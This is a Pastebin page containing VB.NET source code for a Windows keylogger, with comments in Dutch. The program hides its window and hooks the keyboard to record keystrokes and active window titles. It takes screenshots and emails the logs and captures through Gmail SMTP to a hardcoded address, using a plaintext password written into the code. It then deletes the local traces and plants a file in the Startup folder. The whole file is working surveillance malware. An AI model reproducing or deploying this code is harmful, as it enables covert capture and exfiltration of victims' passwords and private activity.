Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.IO
- Imports Microsoft.Win32
- Imports System.Net.Mail
- Imports System.Web
- Public Class Form1
- Dim WithEvents K As New Keyboard
- 'Dim registry As Object
- Dim append As String
- Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
- Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal ipstring As String, ByVal cch As Int32) As Int32
- Dim strin As String = Nothing
- Private Sub form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
- K.DiposeHook()
- End Sub
- Private Sub form1_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles Me.KeyDown
- If e.KeyCode = Keys.F12 = True Then
- MsgBox("<Dit is voor dalijk>", MsgBoxStyle.Information)
- End If
- End Sub
- Private Sub form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- If My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework", "TestValue", Nothing) Then
- MsgBox(".NETFramework is not installed!", MsgBoxStyle.Critical, Title:="Keylogger")
- Me.Close()
- Else
- MsgBox(".NETFramework is installed!", MsgBoxStyle.Information, Title:="Keylogger")
- End If
- Shell("Notepad", 1)
- IO.Directory.CreateDirectory("C:\Keylogger log")
- IO.File.AppendAllText("C:\Keylogger log\log.txt", "-----------------" + vbNewLine + vbNewLine + "Keylogger started" + " " + TimeString + " " + DateString + vbNewLine + vbNewLine + "-----------------" + vbNewLine + vbNewLine)
- KeyPreview = True
- Me.Visible = False
- Me.Hide()
- 'RegistryKey = CreateObject("Wscript.shell")
- End Sub
- Private Sub K_down(ByVal Key As String) Handles K.Down ' deze subfunctie geeft aan wat er gebeurt als je een toets indrukt.
- append &= Key
- TextBox1.Text &= Key
- End Sub
- Private Function GetActiveWindowTitle() As String ' deze functie zorgt ervoor dat je weet wat de Windowtext is.
- Dim MyStr As String
- MyStr = New String(Chr(0), 100)
- GetWindowText(GetForegroundWindow, MyStr, 100)
- MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
- Return MyStr
- End Function
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- If strin <> GetActiveWindowTitle() Then
- TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + "[" + GetActiveWindowTitle() + "]" + " " + TimeString + " " + DateString + vbNewLine + vbNewLine
- strin = GetActiveWindowTitle()
- End If
- End Sub
- Private Sub button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles button1.Click
- K.CreateHook() ' Programma reageert nu op Keyboard.vb
- Timer1.Start() ' Programma reageert nu op welke Windowstitle actief is.
- End Sub
- Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
- K.DiposeHook() 'Programma reageert niet meer op Keyboard.vb
- Timer1.Stop() ' Programma reageert niet meer op welke Windowstitle actief is.
- IO.File.AppendAllText("C:\Keylogger log\log.txt", "-----------------" + vbNewLine + vbNewLine + "Keylogger shut down" + " " + TimeString + " " + DateString + vbNewLine + vbNewLine + "-----------------" + vbNewLine + vbNewLine)
- End Sub
- Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
- IO.File.AppendAllText("C:\Keylogger log\log.txt", TextBox1.Text)
- If IO.File.Exists("C:\Keylogger log\log.txt") = True Then
- Process.Start("C:\Keylogger log\log.txt") ' laat het logfile zien.
- Else : MsgBox("log.txt is leeg", MsgBoxStyle.Critical, Title:="Keylogger")
- End If
- End Sub
- Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
- IO.File.AppendAllText("C:\Keylogger log\log.txt", TextBox1.Text)
- Dim mail As New MailMessage()
- Dim SmtpServer As New SmtpClient
- Dim MsgAttachment1 As New Attachment("C:\Keylogger log\log.txt") ' Het textfile wordt in een attachment gezet.
- If IO.File.Exists("C:\Keylogger log\capture.bmp") = True Then
- Dim MsgAttachment2 As New Attachment("C:\Keylogger log\capture.bmp") ' Het bmpfile wordt in een attachment gezet.
- mail.Attachments.Add(MsgAttachment2)
- Else : MsgBox("Geen capture.bmp")
- End If
- SmtpServer.Credentials = New Net.NetworkCredential("dogersch@gmail.com", "trampoline")
- SmtpServer.Port = 587
- SmtpServer.Host = "smtp.gmail.com"
- SmtpServer.EnableSsl = True
- SmtpServer.EnableSsl = True
- mail.To.Add("dogersch@gmail.com")
- mail.From = New MailAddress("username@gmail.com")
- mail.Subject = "Keylogger2"
- mail.Attachments.Add(MsgAttachment1)
- mail.Body = "-------------- Mail verzonden op: --------------" + vbNewLine + TimeString + vbNewLine + DateString
- Try
- SmtpServer.Send(mail)
- Catch ex As Exception
- MsgBox("Failed to send mail.", MsgBoxStyle.Critical, Title:="Keylogger")
- Me.Close()
- End Try
- mail.Dispose() ' You need to dispose all Attachment objects, or you will leave open file handles behind. Calling Dispose on the MailMessage will trigger dispose calls in any attachments it contains.
- MsgBox("Mail was sent", MsgBoxStyle.Exclamation, Title:="Keylogger")
- If IO.File.Exists("C:\Keylogger log\log.txt") = True Then
- My.Computer.FileSystem.DeleteFile("C:\Keylogger log\log.txt")
- MsgBox("Logfile deleted.", MsgBoxStyle.Information, Title:="Keylogger")
- End If
- If IO.File.Exists("C:\Keylogger log\capture.bmp") = True Then
- My.Computer.FileSystem.DeleteFile("C:\Keylogger log\capture.bmp")
- MsgBox("Capturefile deleted.", MsgBoxStyle.Information, Title:="Keylogger")
- End If
- 'TextBox1.Text = ""
- End Sub
- Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
- If IO.File.Exists("C:\Keylogger log\log.txt") = True Then
- My.Computer.FileSystem.DeleteFile("C:\Keylogger log\log.txt")
- MsgBox("Logfile deleted.", MsgBoxStyle.Information, Title:="Keylogger")
- End If
- End Sub
- Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles winlogon.Click
- IO.File.AppendAllText("C:\Keylogger log\log.txt", "-----------------" + vbNewLine + vbNewLine + "Screen capture" + " " + TimeString + " " + DateString + vbNewLine + vbNewLine + "-----------------" + vbNewLine + vbNewLine)
- Dim bounds As Rectangle
- Dim screenshot As System.Drawing.Bitmap
- Dim graph As Graphics
- bounds = Screen.PrimaryScreen.Bounds
- screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
- graph = Graphics.FromImage(screenshot)
- graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
- PictureBox1.Image = screenshot
- MsgBox("Screenshot taken!", MsgBoxStyle.Information, Title:="Keylogger")
- End Sub
- Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click
- PictureBox1.Image.Save("C:\Keylogger log\capture.bmp")
- MsgBox("Screenshot saved!", MsgBoxStyle.Information, Title:="Keylogger")
- End Sub
- Private Sub Button8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button8.Click
- If IO.File.Exists("C:\Keylogger log\capture.bmp") = True Then
- My.Computer.FileSystem.DeleteFile("C:\Keylogger log\capture.bmp")
- MsgBox("Capturefile deleted.", MsgBoxStyle.Information, Title:="Keylogger")
- End If
- End Sub
- Private Sub Button10_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button10.Click
- Dim WinPath As String = Environment.GetEnvironmentVariable("windir", EnvironmentVariableTarget.Machine)
- Dim BrokenPath() As String = Split(WinPath, "\")
- Dim DriveLetter As String = BrokenPath(0)
- Dim doehet As String
- doehet = ("C:\Keylogger log\startup.txt")
- System.IO.File.Copy(doehet, DriveLetter & "\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\startup.txt") 'Creates copy of file to startup folder.
- MsgBox("Done!", MsgBoxStyle.Information, Title:="Keylogger")
- End Sub
- Private Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.Click
- Dim WinPath As String = Environment.GetEnvironmentVariable("windir", EnvironmentVariableTarget.Machine)
- Dim BrokenPath() As String = Split(WinPath, "\")
- Dim DriveLetter As String = BrokenPath(0)
- System.IO.File.Delete(DriveLetter & "\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\startup.txt") ' Deletes the copy located at the startupfolder.
- MsgBox("Deleted!", MsgBoxStyle.Information, Title:="Keylogger")
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement